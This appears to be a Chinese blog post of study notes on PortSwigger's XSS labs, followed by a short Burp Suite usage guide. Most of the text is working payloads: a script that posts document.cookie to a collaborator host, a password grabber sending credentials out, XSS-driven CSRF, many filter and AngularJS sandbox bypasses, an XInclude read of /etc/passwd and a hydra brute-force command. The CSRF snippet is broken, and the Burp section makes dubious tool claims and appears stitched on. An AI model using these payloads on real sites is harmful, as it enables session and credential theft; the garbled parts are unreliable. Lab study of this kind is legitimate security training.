PortSwigger 跨站点脚本(XSS)

一、反射型 XSS

        1、什么是反射型 XSS?

        当应用程序在 HTTP 请求中接收数据并以不安全的方式将该数据包含在即时响应中时,就会出现反射式跨站点脚本。如:将XSS反射到HTML上下文中,没有进行转义

https://insecure-website.com/search?term=<script>alert(1)</script>

        2、利用XSS漏洞可以干嘛?

                (1)利用跨站点脚本窃取 cookie

<script>
fetch('https://sgcgvts1zzg794zz17vu2dbfd6jx7m.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

                (2)利用跨站点脚本捕获密码

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

                (3)利用跨站点脚本执行 CSRF

//当请求完成时触发保存返回报文
req.onload = handleResponse;
//创造请求
req.open('get','/my-account',true);
//发送请求
req.send();
function handleResponse() {
//获取token,(\W+):匹配一个或多个非字母进行切割,匹配到的非字母全部缓存;
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=wiener@normal-user.net')
};
</script>

        3、如何利用-01 反射到上下文中的XSS

                (1)将XSS反射到HTML上下文中,未进行任何编码

<script>alert(1)</script>

                (2)将 XSS 反射到 HTML 上下文中,但大多数标签和事件都被阻止了

                        解题思路:通过Burp Suite 暴力破解先找到未被阻止的标签:body,继而确定未被阻止的事件;onresize,最后通过该标签和事件进行利用。如:

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

                (3)将 XSS 反射到 HTML 上下文中,阻止除自定义标签之外的所有标签

        tabindex属性:将首先移动到具有最小tabIndex属性值的控件上,最后在具有最大tabIndex属性值的控件上结束移动。如果有两个控件的tabIndex属性相同,则以控件在html代码中出现的顺序为准。默认的tabIndex属性为 0 ,将排列在在所有指定tabIndex的控件之后。而若把tabIndex属性设为一个负值(如tabIndex="-1"),那么这个链接将被排除在TAB键的序列之外

https://YOUR-LAB-ID.web-security-academy.net/?search=<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x

                (4)事件和属性都阻止的反射到href执行的反射式 XSS

        animate:元素可以用于实现动画效果

        attributeName:定义发生变化的元素属性名

<svg><a><animate+attributeName=href+values=javascript:alert(1)+/><text+x=20+y=20>Click me</text></a>

                (5)允许使用一些 SVG 标签的反射式 XSS

        animatetransform标签:进行动画处理

        onBegin() :当元素周期开始时由onbegin 事件立即触发

<svg><animatetransform%20onbegin=alert(1)>

        4、如何利用-02 反射到HTML 标记属性中的 XSS            

                (1)将 XSS 反射到带有尖括号 HTML 编码的属性中

        onmouseover事件:当鼠标移到该元素之上触发事件

"onmouseover="alert(1)

                (2)规范链接标记中的反射 XSS

        accesskey 属性:规定激活(使元素获得焦点)元素的快捷键

        当用户使用以下快捷键将触发漏洞

  •                        在视窗上:ALT+SHIFT+X
    •                 在 MacOS 上:CTRL+ALT+X
      •          在 Linux 上:Alt+X
url?'accesskey='x'onclick='alert(1)

        5、如何利用-03 反射到JavaScript 代码中的XSS

                (1)终止现有的JavaScript脚本进行反射注入

</script><script>alert(1)</script>

                (2) 打破现有的JavaScript字符串进行反射注入

'-alert(document.domain)-'
';alert(document.domain)//

                (3)单引号被转义时,通过JavaScript进行反射注入

\'-alert(1)//

                (4)某些字符被阻止,通过JavaScript进行反射注入

&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

                (5) 应用程序阻止或转义单引号字符,通过利用HTML编码进行绕过

                &apos=‘

                onclick 事件会在元素被点击时发生

http://foo?&apos;-alert(1)-&apos;

                 (6)将javaScript 表达式嵌入到字符串模板文本中执行,进行反射注入

${alert(document.domain)}

        6、如何利用-04 通过客户端模板注入利用

                (1)反射式XSS与AngularJS沙盒无字符串绕过

                AngularJS 沙箱是一种机制,可防止访问 AngularJS 模板表达式中的潜在危险对象

&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

                (2)使用 AngularJS 沙盒转义绕过 CSP

                内容安全策略(CSP):当 CSP 模式在 AngularJS 中处于活动状态时,它会以不同的方式解析模板表达式,并避免使用构造函数


https://YOUR-LAB-ID.web-security-academy.net/?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

二、存储型XSS

        1、什么是存储型XSS

        当应用程序从不受信任的源接收数据并以不安全的方式将该数据包含在其以后的 HTTP 响应中时,就会出现存储的 XSS(也称为持久或二阶 XSS。

        2、如何利用存储型XSS

                (1)将XSS存储到HTML上下文中,没有任何编码 

<script>alert(1)</script>

                 (2)将 XSS 存储到带有双引号 HTML 编码的锚点属性href中

javascript:alert(document.domain)

                (3)将 XSS 存储到带有双引号 HTML 编码中,并通过HTML编码进行绕过 

http://foo?&apos;-alert(1)-&apos;

三、DOM型XSS

        1、什么是DOM型XSS

        DOM型XSS漏洞是一种特殊类型的XSS,是基于文档对象模型 Document Object Model (DOM)的一种漏洞。

        2、如何利用DOM型XSS

                (1)当接收器存在适用的元素  (document.write  location.search)

“> <svg onload=alert(1)>

                (2)当接收器中使用选择元素时,通过闭合该元素进行绕过(document.write  location.search)

</select><img src=1 onerror=alert(1)>

                (3)接收器不接受任何新式浏览器上的元素,也不会触发事件时,存在innerHTML时可向对象插入内容。

             innerHTML:在JS是双向功能:获取对象的内容 或 向对象插入内容

<img src=1 onerror=alert(1)>

                 (4)使用哈希更改事件在 jQuery 选择器接收器中的 DOM XSS

<iframe src="https://0a36003c0488ebe5c2948a0200b70043.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

                 (5)AngularJS表达式中的DOM XSS,在双大括号内执行 JavaScript 表达式。

{{$on.constructor('alert(1)')()}}

                 (6)反射式 DOM XSS

\"-alert(1)}//

                (7)存储的 DOM XSS

<><img src=1 onerror=alert(1)>

四、其他利用 

        XML 片段 <ezm xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></ezm> 试图利用 XInclude 技术从本地文件系统加载 /etc/passwd 文件的内容。

<ezm xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/>

### 使用 Burp Suite 结合 Portswigger 功能进行安全测试 #### 安装与配置 Burp Suite Burp Suite 是一款专为攻击和测试 Web 应用程序安全性设计的强大工具,适用于安全测试、渗透测试以及开发人员使用[^1]。为了充分利用其功能,建议从官方网址 https://portswigger.net/burp 下载并安装最新版本的 Burp Suite 社区版或专业版[^3]。 #### 配置浏览器代理设置 启动 Burp Suite 后,默认情况下会监听本地端口 8080。因此,在开始之前,需确保已正确设置了浏览器的代理服务器指向 `localhost` 的 8080 端口。这一步骤对于捕获 HTTP/HTTPS 流量至关重要。 #### 利用 Burp Scanner 执行自动化扫描 PortSwigger 提供了名为 Burp Scanner 的强大组件,能够自动检测常见的漏洞类型,如 SQL 注入、跨站脚本XSS)、远程文件包含等。要启用此特性: 1. 导航至站地图中的目标 URL; 2. 右键击节选择 "Engagement tools" -> "Scan this branch..." 或者单个请求 “Send to Intruder” 来发起更复杂的攻击模式; 3. 设置好参数后击 OK 即可让 Burp 自动执行一系列预定义的安全检查[^2]。 #### 实施手动审查与验证 尽管自动化工具有助于快速识别潜在风险,但对于某些特定场景下的高级威胁分析来说还不够充分。此时可以借助 Repeater 和 Decoder 工具来辅助人工审计过程: - **Repeater**: 修改拦截下来的HTTP(S) 请求后再发送出去观察响应变化情况;这对于探索输入验证机制特别有用。 - **Decoder**: 对编码后的字符串解码查看原始数据形式,帮助理解隐藏字段含义或是绕过简单的防护措施。 #### 开展暴力破解尝试 针对登录表单或其他认证接口实施密码猜测活动前,请务必获得合法授权许可以免触犯法律。利用内置插件 Infiltrator 或第三方扩展 Hydra 插件配合字典库来进行账户枚举实验: ```bash hydra -l admin -P /path/to/passwords.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" ``` 上述命令表示采用 POST 方法提交用户名 (`admin`) 和密码列表 (`passwords.txt`) 至 `/login.php` 路径,并指定失败提示词 ("incorrect") 作为判断依据。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值